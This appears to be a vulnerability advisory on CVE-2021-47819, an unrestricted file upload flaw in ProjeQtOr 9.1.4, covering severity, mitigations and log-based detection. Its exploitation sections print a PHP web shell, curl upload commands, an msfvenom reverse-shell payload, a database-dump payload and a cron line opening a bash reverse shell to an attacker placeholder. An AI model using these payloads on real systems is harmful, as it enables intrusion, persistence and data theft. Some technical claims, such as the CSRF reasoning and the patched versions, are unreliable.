Comprehensive Technical Analysis of CVE-2021-47819

CVE ID: CVE-2021-47819 CVSS Score: 9.8 (Critical) Vulnerability Type: Unrestricted File Upload Leading to Remote Code Execution (RCE) Affected Software: ProjeQtOr Project Management (Version 9.1.4)

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1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

CVE-2021-47819 is a critical file upload vulnerability in ProjeQtOr Project Management 9.1.4 that allows unauthenticated (guest) users to upload malicious PHP files via the profile attachment functionality. The flaw stems from insufficient file type validation, enabling attackers to bypass security controls and execute arbitrary PHP code on the server.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Score	Justification
Attack Vector (AV)	Network (N)	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	Exploitable by unauthenticated users.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable system.
Confidentiality (C)	High (H)	Full system compromise possible.
Integrity (I)	High (H)	Arbitrary code execution allows data manipulation.
Availability (A)	High (H)	System can be rendered inoperable.

Resulting CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Severity: Critical – Immediate patching is required due to the high risk of remote exploitation.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Workflow

1. Identify Vulnerable Endpoint

   • The vulnerability resides in the profile attachment upload functionality, accessible via:

     POST /projeqtor/tool/uploadAttachment.php
     

   • No authentication is required (guest access is sufficient).

2. Craft Malicious PHP Payload

   • Attackers upload a malicious PHP file (e.g., shell.php) containing arbitrary code, such as:

     <?php system($_GET['cmd']); ?>
     

   • The file is stored in a predictable location (e.g., /projeqtor/files/attachments/).

3. Execute Arbitrary Commands

   • The attacker accesses the uploaded file via:

     GET /projeqtor/files/attachments/shell.php?cmd=id
     

   • This executes the id command on the server, confirming RCE.

4. Post-Exploitation

   • Lateral Movement: Attackers may escalate privileges, exfiltrate data, or deploy ransomware.
   • Persistence: Backdoors can be installed for long-term access.
   • Data Exfiltration: Sensitive project data, credentials, or database contents may be stolen.

Proof-of-Concept (PoC) Exploit

A publicly available exploit (Exploit-DB #49919) demonstrates the attack:

curl -F "file=@shell.php" http://<target>/projeqtor/tool/uploadAttachment.php
curl http://<target>/projeqtor/files/attachments/shell.php?cmd=whoami

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3. Affected Systems and Software Versions

Vulnerable Software

• ProjeQtOr Project Management v9.1.4 (and likely earlier versions if file upload validation is weak).
• Deployment Environments:
  • Web servers (Apache, Nginx) with PHP support.
  • Linux/Windows-based systems running ProjeQtOr.

Unaffected Versions

• ProjeQtOr v9.1.5+ (assumed patched; verification required).
• Custom deployments with hardened file upload restrictions.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Vendor Patches

   • Upgrade to the latest version of ProjeQtOr (if available) or apply a hotfix.
   • Monitor ProjeQtOr’s official site for updates.

2. Temporary Workarounds

   • Disable Guest Access: Restrict profile attachment uploads to authenticated users.
   • File Upload Restrictions:
     • Whitelist allowed file extensions (e.g., .jpg, .png, .pdf).
     • Rename uploaded files to prevent direct execution (e.g., append .txt).
     • Store uploads outside the web root (e.g., /var/uploads/ instead of /var/www/html/).
   • Web Application Firewall (WAF) Rules:
     • Block requests containing .php in uploads.
     • Implement rate-limiting to prevent brute-force attacks.

3. Server Hardening

   • Disable PHP Execution in Upload Directories:

     <Directory "/var/www/projeqtor/files/attachments">
         php_flag engine off
     </Directory>
     

   • Restrict File Permissions:

     chmod 640 /path/to/uploads/*
     chown www-data:www-data /path/to/uploads/
     

Long-Term Security Measures

• Code Review & Secure Development:
  • Implement strict file type validation (MIME type + extension checks).
  • Use randomized filenames to prevent path prediction.
  • Sanitize user input to prevent path traversal attacks.
• Regular Vulnerability Scanning:
  • Use tools like Nessus, OpenVAS, or Burp Suite to detect file upload flaws.
• Incident Response Planning:
  • Develop a playbook for RCE exploitation (e.g., isolating affected systems, forensic analysis).

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Exploitation in the Wild

   • Given the CVSS 9.8 rating and public PoC availability, this vulnerability is highly attractive to threat actors, including:
     • Opportunistic attackers (e.g., script kiddies using automated tools).
     • APT groups (e.g., for initial access in targeted attacks).
     • Ransomware operators (e.g., deploying encryptors post-exploitation).

2. Supply Chain Risks

   • ProjeQtOr is used in enterprise project management, potentially exposing:
     • Sensitive project data (e.g., intellectual property, financial records).
     • Third-party integrations (e.g., APIs, databases).

3. Regulatory & Compliance Risks

   • GDPR, HIPAA, or PCI DSS violations if sensitive data is exfiltrated.
   • Legal liability for organizations failing to patch critical vulnerabilities.

4. Trend in File Upload Vulnerabilities

   • This CVE aligns with a growing trend of file upload flaws (e.g., CVE-2021-41773 in Apache, CVE-2021-22205 in GitLab).
   • Highlights the need for secure coding practices in web applications.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Insufficient Input Validation:
  • The uploadAttachment.php script does not validate file extensions or MIME types, allowing .php files.
  • No CSRF protection enables unauthenticated exploitation.
• Predictable File Storage:
  • Uploaded files are stored in a web-accessible directory (/files/attachments/), enabling direct execution.

Exploitation Requirements

Requirement	Details
Authentication	None (guest access).
User Interaction	None.
Network Access	Remote (HTTP/HTTPS).
Exploit Complexity	Low (public PoC available).
Privilege Escalation	Possible via misconfigurations (e.g., sudo rights, weak permissions).

Detection & Forensics

1. Log Analysis
   • Web Server Logs (Apache/Nginx):

     grep -i "uploadAttachment.php" /var/log/apache2/access.log
     grep -i ".php" /var/log/nginx/access.log
     

   • PHP Error Logs:

     grep -i "system(" /var/log/php_errors.log
     

2. File Integrity Monitoring (FIM)
   • Detect unauthorized .php files in upload directories:

     find /var/www/projeqtor/files/attachments -name "*.php" -type f
     

3. Network Traffic Analysis
   • Look for unusual outbound connections (e.g., reverse shells, data exfiltration).

Advanced Exploitation Scenarios

1. Reverse Shell Deployment
   • Attackers may upload a PHP reverse shell (e.g., using msfvenom):

     msfvenom -p php/reverse_php LHOST=<attacker_IP> LPORT=4444 -f raw > shell.php
     

   • Execution:

     curl http://<target>/projeqtor/files/attachments/shell.php
     

2. Database Dumping
   • If ProjeQtOr uses MySQL, attackers may exfiltrate data:

     <?php system("mysqldump -u root projeqtor > /tmp/dump.sql"); ?>
     

3. Persistence Mechanisms
   • Cron Jobs:

     <?php system("echo '* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1\"' >> /etc/crontab"); ?>
     

   • Web Shells:
     • Tools like Weevely or C99 Shell can be uploaded for long-term access.

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Conclusion & Recommendations

CVE-2021-47819 represents a critical RCE vulnerability with low exploitation complexity, making it a high-priority patching target. Organizations using ProjeQtOr must:

1. Immediately upgrade to a patched version (if available).
2. Implement temporary mitigations (e.g., disabling guest uploads, WAF rules).
3. Monitor for exploitation attempts via logs and network traffic.
4. Conduct a post-incident review if compromise is suspected.

Given the public exploit availability, unpatched systems are at imminent risk of compromise. Security teams should prioritize this vulnerability in their remediation efforts.

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References:

• Exploit-DB #49919
• ProjeQtOr Official Site
• CVSS v3.1 Calculator